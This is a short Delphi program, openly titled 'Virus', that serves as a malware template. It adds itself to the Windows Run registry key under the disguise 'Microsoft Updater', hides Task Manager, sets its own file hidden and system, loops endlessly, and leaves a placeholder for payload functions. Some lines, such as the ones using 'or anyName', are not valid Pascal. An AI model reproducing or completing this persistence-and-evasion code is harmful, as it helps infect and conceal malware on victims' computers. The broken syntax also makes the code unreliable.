小小InvXp

program Virus;

uses
Windows,
Registry;
var
NewFile:pChar;
Reg:TRegistry;
Label VirusFunc;
Begin
VirusFunc:
Try
NewFile:='C:\Command.Com' or anyName;
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',True);
Reg.WriteString('Microsoft Updater' or anyName,NewFile);
IF (FindWindow (nil,'Windows 任务管理器'))<>0 Then ShowWindow (FindWindow (nil,'Windows 任务管理器'),SW_HIDE);
SetFileAttributes (pChar(ParamStr(0)),FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM);// 让自己隐藏^^
{Place Your Virus Funcs}
Finally
End;
Goto VirusFunc;

end.